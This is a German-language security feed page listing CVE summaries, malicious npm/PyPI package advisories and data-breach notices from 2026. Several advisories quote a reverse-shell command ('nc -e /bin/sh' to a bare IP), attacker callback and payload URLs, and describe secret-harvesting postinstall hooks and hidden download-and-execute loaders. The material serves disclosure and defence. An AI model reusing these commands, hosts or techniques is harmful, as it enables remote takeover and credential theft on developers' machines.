| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 9.8 / 10 CVE-2025-1889 | gerade eben | |
| picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic. | ||
| Risiko 9.8 / 10 CVE-2024-8309 | gerade eben | |
| A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain-community version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database. | ||
| Risiko ? / 10 MAL-2026-15916 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (989e6d862a8e433df7f0bd31ab9a6b76f616273783517c81f5e428ad2774ad4e) The package declares a postinstall script (scripts/install.js) that on npm install downloads a ZIP archive from https://www.dropbox.com/scl/fi/djz38wdi1wks9j1h57zuv/coeur.zip, writes it to a randomized dot-prefixed temp directory, extracts it (powershell Expand-Archive on Windows, unzip elsewhere), waits 30 seconds, and executes any.exe/.sh found with detached, stdio:'ignore', windowsHide:true, then unref()s the child. The fetched payload is unpinned, has no hash/signature verification, is served from an anonymous file-share host unrelated to any publisher, and its purpose is opaque. The script aborts when NODE_ENV=production or CI is set, spoofs a Windows browser User-Agent, swallows every error with empty catch blocks, and forces process.exitCode=0 so install always reports success. Package identity is inconsistent: package.json name is xcryption with description 'Code obfuscation utilities', keywords advertise text/transform/case utilities, repository points to textutils/text-transform-plus, and the README presents the package as text-transform-plus — a cover story around a benign lib/ stub. Installing this package grants arbitrary code execution on the installer's host under the user running npm install. | ||
| Risiko ? / 10 MAL-2026-15910 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6c6450b478521f96973a556306ed36a1430407373bb1331e051faec0266e1e0d) The package presents itself as a timezone/IANA cache utility but ships a manifest-driven Windows code-execution channel. updater.py defines DEFAULT_DB_URL = "https://timezone.api.globaltimedata.com/latest/db.json" and _sync_database() fetches that JSON, then passes it to _process_extension_resources(), which iterates manifest['extensions']['assets'|'resources'], downloads each entry's url to a temp directory (Path(tempfile.mkdtemp(prefix="firebeta_"))) and, on win32, executes the downloaded file via ctypes.windll.kernel32.WinExec(cmd, 0) with attacker-supplied args. This flow is reachable from ordinary library use: __init__.py's detect_timezone() and convert_timezone() call _ensure_cache(), which spawns a daemon thread named 'curls-autoupdate' that runs _sync_database(), so any consumer importing timeweave and calling the advertised API triggers the fetch-and-execute path unless TIMEWEAVE_NO_AUTO_UPDATE/OFFLINE/NO_NETWORK is set. The checksum in the manifest offers no protection because the same server supplies both the manifest and the checksum. Naming ("_process_extension_resources", thread "curls-autoupdate", temp prefix "firebeta_") is unrelated to timezone data and disguises the execution path. The result is arbitrary Windows code execution on any host that uses the package, controlled by whoever operates globaltimedata.com. | ||
| Risiko ? / 10 MAL-2026-15561 | vor 1 Stunde(n) | |
|
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_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (2d947d5b4ddaa0ea6a25488fb5b5a66b3afc5c8f56d5ac38fb2e95e4b23242f3)
package.json declares a preinstall hook (`node beacon.js`) that fires automatically on `npm install`. beacon.js reads os.hostname(), os.userInfo().username, and process.cwd(), base32-encodes them, and issues an HTTP GET to a hardcoded bare-IP callback URL http://45.76.249.245/beacon/ |
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| Risiko ? / 10 MAL-2026-15880 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e43ee355ab038085d87ed11e81acc53a50163f14b617d54b7e9b9c31e800900a) Package is published as an element-ui utility library (`element-guci-util`, description '元素-ui 常用工具函数集合') but its main entrypoint contains no utility functions. On `require()`/`import`, top-level code invokes `iconFont()` which checks the current date and, on or after 2026-10-01, invokes `iconDont()`. `iconDont` fabricates a synthetic `.exe` Blob and triggers an anchor click to force a download on the end user, opens `https://admin.nikolive.cn/` in a new window, calls `location.reload(true)` on a 500ms interval, and starts CPU/memory exhaustion loops. Package metadata carries placeholder values (`author: '你的名字'`, repo `你的git仓库地址`), and `package.json` declares the package as its own dependency at `^9.9.9` while publishing as 10.0.0 — a self-referential range disjoint from the published version, which alters what subsequent installs resolve to. Any web application bundling this module will ship the payload to its end users once the trigger date passes; the forced.exe download plus redirect to an attacker-controlled host constitutes an attacker-benefiting payload against the installer's downstream users, not benign vandalism. ## Source: ghsa-malware (8649406e7c2820cb97dc67905db9b89efb2984a1083523550842fe581146b9b3) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-14553 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d849c8409247f2e6aa75683bf87afacaf8db81daded8235a622e952c94ccbb7f) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (12fd8bdc82a3afeda031c5aeb0f9c6d7c6ded66a5b10080c9d2fa1dc3819486b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-15909 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43) Package name typosquats `nestjs` and declares `postinstall: node index.js` in package.json, so index.js runs automatically during `npm install`. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes `nc -e /bin/sh 84.32.22.44 9999`, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot"). ## Source: ossf-package-analysis (bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71) The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. | ||
| Risiko ? / 10 MAL-2026-15908 | vor 1 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3)
Package name 0nestjs targets developers mistyping `nestjs`. On `npm install`, the postinstall hook `node index.js` executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes `nc -e /bin/sh |
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| Risiko ? / 10 MAL-2026-15814 | vor 2 Stunde(n) | |
| The package 'chromatitle-dev' was identified as containing malicious obfuscated code. In src/utils/bootstrap.js, there is base64 encoded URL. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b720b488c4ac40cc60b8a514f2d16bf2858c4b501171816d38597aba076fe941) src/index.js unconditionally calls bootstrap() at module load. On win32, src/utils/bootstrap.js base64-decodes a URL, filename, and staging directory (stored in an _S object and decoded via Buffer.from(str,'base64').toString('utf-8')) that resolve to https://github.com/realscamgroup/Discord-Bypass-Brasil/releases/download/Dependencia/installer-win.exe, %USERPROFILE%\Desktop\.chromatitle\installer-win.exe, and.chromatitle. The file is downloaded and spawned with stdio:inherit. The destination repository is unrelated to the package's stated purpose of terminal color/title formatting, is owned by an account named 'realscamgroup', and the URL/filename/directory are base64-encoded solely to hide these indicators from static string scanning. Any Windows consumer that require()s or import()s chromatitle-dev executes the fetched binary automatically. | ||
| Risiko ? / 10 MAL-2026-15914 | vor 2 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (1b03d2c3ed0eec654a85d7843b208bdca926027df8dac14aa881f50c21a08f40)
The `taskforge` CLI, once configured with an origin URL via `taskforge setup --origin-server |
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| Risiko ? / 10 MAL-2026-15913 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2b8c18d7b4343e4c1d39e62a7d19eb9c5a9b4beb369fde301103623c3a7f0651) The package's sole function is a runtime loader that fetches a JavaScript payload from a configured origin's /api/x-handler endpoint and executes it in memory by piping the bytes into a detached `node -` child process (spawn(process.execPath, ["-"], {detached:true, stdio:["pipe","ignore","ignore"], windowsHide:true})). No signature or hash verification is performed and the README explicitly states client contents are not verified. Supporting evasion characteristics are present: state is kept in a random 8-byte hex subdirectory under the app-data root with a pointer.json indirection, the child is spawned detached with windowsHide:true and stdio ignored, a prior worker PID is SIGTERM'd before each execution, and the package documents that directory and internal filenames are intentionally non-descriptive. The package supplies no legitimate library functionality beyond executing remote code; whoever controls the configured origin obtains full code execution on the host during any version-check poll. | ||
| Risiko ? / 10 MAL-2026-15915 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e3efed1eeb185e17a51a67059e57156e5c540899e5a30076df710e0242a5560c) The package's postinstall script downloads a ZIP archive from a hardcoded Dropbox URL (https://www.dropbox.com/scl/fi/djz38wdi1wks9j1h57zuv/coeur.zip) to a hidden randomized temp path, extracts it using unzip/Expand-Archive, and executes any.exe found on Windows with detached, hidden-window flags. The install script short-circuits when NODE_ENV=production or CI is set, and stages the payload under os.tmpdir() with dot-prefixed random names (`.${Date.now()}.tmp`, `.data${Math.random()...}`) to evade sandbox/CI environments and casual discovery. The declared purpose (a text-transform utility) has no need for any binary download or execution. The fetched binary is unpinned, unverified, and delivered from an anonymous file-sharing host, yielding arbitrary code execution on developer Windows machines at `npm install` time. | ||
| Risiko ? / 10 MAL-2026-15912 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e6ba6037f5f2f65c0ceef0ba5bd8da931b7860a85e7a38fb2703ad4cd7672ddf) The package's main entrypoint unconditionally downloads a JavaScript file from the hardcoded plain-HTTP bare-IP URL http://23.27.245.100/index.js, writes it to./inout.js, and require()s it every time a consumer imports the package. The fetched content is unpinned, unverified, and served over cleartext HTTP, giving the operator of that IP (and any on-path attacker) arbitrary code execution on the installer's machine at import time. The package name and repository metadata impersonate the official @tailwindcss/aspect-ratio plugin (repository points at tailwindlabs/tailwindcss-aspect-ratio), providing cover for the loader; the remote fetch has no relationship to any Tailwind plugin functionality. | ||
| Risiko ? / 10 MAL-2026-15911 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d) The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes `nc -e /bin/sh 84.32.22.44 9999`, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded -- targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package. | ||
| Risiko 9.8 / 10 CVE-2026-85509 | vor 4 Stunde(n) | |
| 27.08.2026 - Manchester Airports Group | 8.849.657 Datensätze geleaked | |
| Browser user agent details, Email addresses, Geographic locations, IP addresses, Names, Phone numbers, Purchases, Vehicle registration plates In August 2026, Manchester Airports Group (MAG) disclosed a data breach impacting their services. The incident was later claimed by the FulcrumSec hacking group, who subsequently published email addresses and phone numbers relating to 8.8M customers of Manchester, Stansted and East Midlands airports. The data contained personal information relating to airport services, including vehicle registrations and parking history, Fast Track purchases and lounge bookings. In their disclosure notice, MAG advised that "at no point has passenger safety or aviation security been compromised". |
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| 15.08.2026 - Oz Hair and Beauty | 1.988.331 Datensätze geleaked | |
| Email addresses, Geographic locations, Names, Phone numbers, Purchases In August 2026, Australian beauty retailer Oz Hair and Beauty was the target of an xpl0itrs extortion attack. The group subsequently published data allegedly obtained from the company, which included 2M unique email addresses along with names, phone numbers, geographic locations (suburb and postcode) and purchases. |
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| 13.08.2026 - Carhartt | 12.933.413 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In August 2026, clothing retailer Carhartt was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly obtained from the company including 12.9M unique email addresses, names, phone numbers and physical addresses. The published corpus also contained millions of synthetic records that did not relate to real individuals and were excluded from the breach. |
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| 06.08.2026 - Fanlore | 144.520 Datensätze geleaked | |
| Email addresses, Names, Passwords, Usernames In August 2026, the Organization for Transformative Works (OTW) identified unauthorised access to the Fanlore wiki it operates. The breach resulted in the exposure of 145k unique email addresses along with usernames and passwords stored as either MD5 or PBKDF2 hashes. OTW self-submitted the exposed data to HIBP. |
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| 01.08.2026 - Alcon | 218.395 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In August 2026, the Alcon eye care company was named in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly sourced from Alcon containing 218k unique email addresses along with other largely corporate B2B contact fields, including name, phone number and physical address. |
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| 01.08.2026 - Questel | 1.226.209 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In August 2026, the French intellectual property software and services company Questel was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published an extensive corpus of data they alleged was obtained from the company, largely comprising corporate contact information associated with sales leads, support cases and marketing activities, with 1.2M unique email addresses. The data also included names, employers and job titles, along with physical addresses and phone numbers. |
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| 27.07.2026 - RingCentral | 1.596.490 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In July 2026, the cloud-based business communications platform RingCentral was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they claimed was obtained from the platform, which included 1.6M unique email addresses along with names, physical addresses and phone numbers. In their disclosure notice, RingCentral advised that the incident affected "a limited portion of RingCentral customers" and that it was communicating directly with those affected. |
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| 21.07.2026 - SplitVPN | 865.336 Datensätze geleaked | |
| Device information, Email addresses, Geographic locations, IP addresses, Partial credit card data In July 2026, the Russian VPN service SplitVPN (previously known as NotVPN) suffered a data breach. The incident exposed millions of customer records, including 865k unique email addresses. Other impacted data included IP addresses, the user's country, and partial payment card data (first 6 and last 4 digits plus expiry date). |
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| 15.07.2026 - Exact Sciences | 10.869.543 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Names, Personal health data, Phone numbers, Physical addresses In July 2026, Exact Sciences (now owned by Abbott Laboratories) was the target of a ShinyHunters "pay or leak" extortion campaign. The group claimed to have obtained data from the company's cancer diagnostics business, which they later published publicly. The breach contained 10.9M unique email addresses belonging to customers, patients and healthcare providers, along with names, addresses, phone numbers and health records. Abbott subsequently published a public notice advising that "some of the impacted files contain personal information and/or personal health information" and that more specific information would follow once their review of the incident was complete. For context, Exact Sciences is the maker of the Cologuard at-home colorectal cancer screening test. |
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| 13.07.2026 - Brinks Home | 732.162 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In July 2026, Brinks Home was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from the company, including 732k unique email addresses and other personal information relating to leads, customers and Brinks staff such as name, phone numbers and physical addresses. The data also included purchases from Brinks along with partial credit card data (last 4 digits, card type and expiry). In Brinks' disclosure notice, they acknowledged the incident and risk of disclosure, and advised that they would notify impacted parties "consistent with applicable law". |
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| 01.07.2026 - Fluke | 821.100 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Physical addresses, Support tickets In July 2026, electronic test and measurement equipment company Fluke was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published more than 100GB of data allegedly taken from the company. The corpus contained largely corporate contact information, including over 800k unique email addresses, names, phone numbers and physical addresses. A large collection of support cases was also present. |
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| 18.06.2026 - Inter-Con Security | 276.114 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In June 2026, Inter-Con Security was targeted in a ShinyHunters “pay or leak” extortion campaign. The group subsequently published data it alleged was taken from the company, including 276k unique email addresses along with names, physical addresses, job titles and phone numbers. The data encompassed a combination of contacts, internal users and leads. |
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| 18.06.2026 - Operation Endgame 4.0 | 4.348.526 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation also targeted by Operation Endgame were provided, followed by another 131k email addresses the following month, bringing the total to more than 4.3M unique email addresses. |
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| 16.06.2026 - Houston City College | 831.642 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Email addresses, Genders, Names, Phone numbers, Physical addresses In June 2026, Houston City College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from the college was later published publicly and included 832k unique email addresses along with names, addresses, phone numbers, academic records, and other personal information relating to both current students and alumni. |
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| 15.06.2026 - Glendale Community College | 793.925 Datensätze geleaked | |
| Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses In June 2026, Glendale Community College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice, the college advised that "the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information". |
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| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
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| 15.06.2026 - Moody Bible Institute | 2.303.416 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses In June 2026, Moody Bible Institute was targeted by a ShinyHunters "pay or leak" extortion campaign. Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice, Moody advised that they had "engaged both internal and external cybersecurity experts to thoroughly investigate the matter". |
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| 15.06.2026 - Sysco | 2.691.852 Datensätze geleaked | |
| Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, the food distribution company Sysco was targeted by a ShinyHunters "pay or leak" extortion campaign. Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback. |
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| 12.06.2026 - American Tower | 216.601 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers. |
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| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
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| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
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| 09.06.2026 - Goose Creek | 6.574.121 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Purchases In June 2026, a party claiming to have access to data from Goose Creek Candle Company sent emails to a number of the company's customers, claiming the company had a security vulnerability and suffered a data breach. The data was subsequently sent to Have I Been Pwned and contained 6.6M unique email addresses along with names, phone numbers, physical addresses, order IDs and total spent. The data appears to have been obtained from the company's Shopify instance. Goose Creek is aware of the reports but was unable to provide Have I Been Pwned with any further information at the time of publication. |
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| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
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| 05.06.2026 - Madison Square Garden Sports | 9.796.738 Datensätze geleaked | |
| Customer service records, Email addresses, Names, Phone numbers, Physical addresses In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information. |
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| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
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| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
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| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
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| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
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| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
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| 14.05.2026 - Golf Canada | 568.972 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Names, Usernames In mid-2026, hundreds of thousands of user records allegedly sourced from Golf Canada began circulating via Telegram. The data included 569k unique email addresses along with names, usernames, dates of birth, genders and approximate geographic locations (city, province and postcode). Golf Canada didn't respond to multiple attempts to make contact, and it remains unclear whether the data was obtained via unintentionally exposed website features or a security vulnerability. |
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| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
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| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
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| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
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| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
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| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
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| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
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| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
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| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
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| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
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| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
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